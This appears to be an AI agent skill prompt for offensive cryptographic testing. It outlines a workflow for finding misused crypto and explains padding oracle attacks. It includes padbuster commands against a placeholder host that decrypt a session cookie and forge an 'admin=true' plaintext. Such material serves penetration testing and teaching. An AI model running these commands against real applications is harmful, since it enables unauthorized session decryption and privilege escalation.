offensive-crypto-attacks

Cryptographic Implementation Attacks

You are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.

Quick Workflow

1. Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.
2. Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.
3. Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.
4. Select and configure the appropriate tool or custom script.
5. Execute the attack, decrypt or forge the target value.
6. Document the cryptographic weakness, its root cause, and the remediation path.

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Padding Oracle Attacks

Padding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.

Identify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.

Use padbuster for automated exploitation against web applications:

# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid"

# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid" \
  -plaintext "admin=true;user=attacker"